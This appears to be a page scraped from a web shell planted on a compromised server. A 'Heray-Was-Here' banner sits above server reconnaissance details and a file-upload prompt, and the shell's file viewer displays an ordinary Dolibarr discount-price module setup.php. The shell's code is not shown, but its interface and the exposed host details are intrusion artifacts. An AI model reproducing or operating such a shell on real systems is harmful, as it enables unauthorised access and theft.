Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/dev/htdocs/custom/discountprice/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/dev/htdocs/custom/discountprice/admin/setup.php
<?php
/* Copyright (C) 2007-2015 Laurent Destailleur  <eldy@users.sourceforge.net>
 * Copyright (C) 2017      Open-DSI             <support@open-dsi.fr>
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program. If not, see <http://www.gnu.org/licenses/>.
 */

/**
 *	    \file       htdocs/discountprice/admin/setup.php
 *		\ingroup    discountprice
 *		\brief      Page to setup discountprice module
 */

// Change this following line to use the correct relative path (../, ../../, etc)
$res=0;
if (! $res && file_exists("../../main.inc.php")) $res=@include '../../main.inc.php';			// to work if your module directory is into a subdir of root htdocs directory
if (! $res && file_exists("../../../main.inc.php")) $res=@include '../../../main.inc.php';		// to work if your module directory is into a subdir of root htdocs directory
if (! $res) die("Include of main fails");
require_once DOL_DOCUMENT_ROOT.'/core/lib/admin.lib.php';
dol_include_once('/discountprice/lib/discountprice.lib.php');

$langs->load("admin");
$langs->load("discountprice@discountprice");
$langs->load("opendsi@discountprice");

if (!$user->admin) accessforbidden();

$action = GETPOST('action','alpha');


/*
 *	Actions
 */

$errors = [];
$error = 0;

if (preg_match('/set_(.*)/',$action,$reg)) {
    $code = $reg[1];
    $value = (GETPOST($code) ? GETPOST($code) : 1);
    if (dolibarr_set_const($db, $code, $value, 'chaine', 0, '', $conf->entity) > 0) {
        Header("Location: " . $_SERVER["PHP_SELF"]);
        exit;
    } else {
        $errors[] = $db->lasterror();
        setEventMessages($langs->trans("Error"), $errors, 'errors');
    }
} elseif (preg_match('/del_(.*)/',$action,$reg)) {
    $code = $reg[1];
    if (dolibarr_del_const($db, $code, $conf->entity) > 0) {
        Header("Location: " . $_SERVER["PHP_SELF"]);
        exit;
    } else {
        $errors[] = $db->lasterror();
        setEventMessages($langs->trans("Error"), $errors, 'errors');
    }
} elseif ($action == 'set') {
    $res = dolibarr_set_const($db, 'DISCOUNTPRICE_BASE_PRICE_DISCOUNT', GETPOST('DISCOUNTPRICE_BASE_PRICE_DISCOUNT', "alpha"), 'chaine', 0, '', $conf->entity);
    if (!$res > 0) {
        $errors[] = $db->lasterror();
        $error++;
    }

    $res = dolibarr_set_const($db, 'DISCOUNTPRICE_CALCULATION_MODE_WITH_EXISTING_DISCOUNT', GETPOST('DISCOUNTPRICE_CALCULATION_MODE_WITH_EXISTING_DISCOUNT', "int"), 'chaine', 0, '', $conf->entity);
    if (!$res > 0) {
        $errors[] = $db->lasterror();
        $error++;
    }

    $round_precision = GETPOST('DISCOUNTPRICE_DISCOUNT_ROUND_PRECISION', "int");
    $res = dolibarr_set_const($db, 'DISCOUNTPRICE_DISCOUNT_ROUND_PRECISION', (empty($round_precision) ? 2 : $round_precision), 'chaine', 0, '', $conf->entity);
    if (!$res > 0) {
        $errors[] = $db->lasterror();
        $error++;
    }

    if (!$error) {
        setEventMessage($langs->trans("SetupSaved"));
    } else {
        setEventMessages($langs->trans("Error"), $errors, 'errors');
    }
}

/*
 *	View
 */


llxHeader();

$linkback='<a href="'.DOL_URL_ROOT.'/admin/modules.php">'.$langs->trans("BackToModuleList").'</a>';
print load_fiche_titre($langs->trans("DiscountPriceSetup"),$linkback,'title_setup');
print "<br>\n";

$head=discountprice_prepare_head();

dol_fiche_head($head, 'settings', $langs->trans("Module163013Name"), 0, 'opendsi@discountprice');


print '<br>';
print '<form method="post" action="'.$_SERVER["PHP_SELF"].'">';
print '<input type="hidden" name="token" value="'.$_SESSION['newtoken'].'">';
print '<input type="hidden" name="action" value="set">';

$var=true;

print '<table class="noborder" width="100%">';
print '<tr class="liste_titre">';
print '<td>'.$langs->trans("Name").'</td>'."\n";
print '<td>'.$langs->trans("Description").'</td>'."\n";
print '<td align="right">'.$langs->trans("Value").'</td>'."\n";
print "</tr>\n";

// DISCOUNTPRICE_BASE_PRICE_DISCOUNT
$var=!$var;
print '<tr '.$bc[$var].'>'."\n";
print '<td>'.$langs->trans("DiscountPriceBasePriceDiscountName").'</td>'."\n";
print '<td>'.$langs->trans("DiscountPriceBasePriceDiscountDesc").'</td>'."\n";
print '<td align="right">'."\n";
print '<input type="radio" name="DISCOUNTPRICE_BASE_PRICE_DISCOUNT" value="HT"'.($conf->global->DISCOUNTPRICE_BASE_PRICE_DISCOUNT=='HT'?' checked':'').'>&nbsp;'.$langs->trans("HT")."\n";
print '&nbsp;'."\n";
print '<input type="radio" name="DISCOUNTPRICE_BASE_PRICE_DISCOUNT" value="TTC"'.($conf->global->DISCOUNTPRICE_BASE_PRICE_DISCOUNT=='TTC'?' checked':'').'>&nbsp;'.$langs->trans("TTC")."\n";
print '</td></tr>'."\n";

// DISCOUNTPRICE_CALCULATION_MODE_WITH_EXISTING_DISCOUNT
$var=!$var;
print '<tr '.$bc[$var].'>'."\n";
print '<td>'.$langs->trans("DiscountPriceCalculationModeWithExistingDiscountName").'</td>'."\n";
print '<td>'.$langs->trans("DiscountPriceCalculationModeWithExistingDiscountDesc").'</td>'."\n";
print '<td align="right">'."\n";
print '<input type="radio" name="DISCOUNTPRICE_CALCULATION_MODE_WITH_EXISTING_DISCOUNT" value="1"'.($conf->global->DISCOUNTPRICE_CALCULATION_MODE_WITH_EXISTING_DISCOUNT==1?' checked':'').'>&nbsp;'.$langs->trans("DiscountPriceCalculationModeReplace")."\n";
print '&nbsp;'."\n";
print '<input type="radio" name="DISCOUNTPRICE_CALCULATION_MODE_WITH_EXISTING_DISCOUNT" value="2"'.($conf->global->DISCOUNTPRICE_CALCULATION_MODE_WITH_EXISTING_DISCOUNT==2?' checked':'').'>&nbsp;'.$langs->trans("DiscountPriceCalculationModeCascade")."\n";
print '</td></tr>'."\n";

// DISCOUNTPRICE_DISCOUNT_ROUND_PRECISION
$var=!$var;
print '<tr '.$bc[$var].'>'."\n";
print '<td>'.$langs->trans("DiscountPriceDiscountRoundPrecisionName").'</td>'."\n";
print '<td>'.$langs->trans("DiscountPriceDiscountRoundPrecisionDesc").'</td>'."\n";
print '<td align="right">'."\n";
print '<input type="text" name="DISCOUNTPRICE_DISCOUNT_ROUND_PRECISION" value="'.$conf->global->DISCOUNTPRICE_DISCOUNT_ROUND_PRECISION.'">';
print '</td></tr>'."\n";

print '</table>';

dol_fiche_end();

print '<br>';
print '<div align="center">';
print '<input type="submit" class="button" value="'.$langs->trans("Modify").'">';
print '</div>';

print '</form>';

llxFooter();

$db->close();

Hry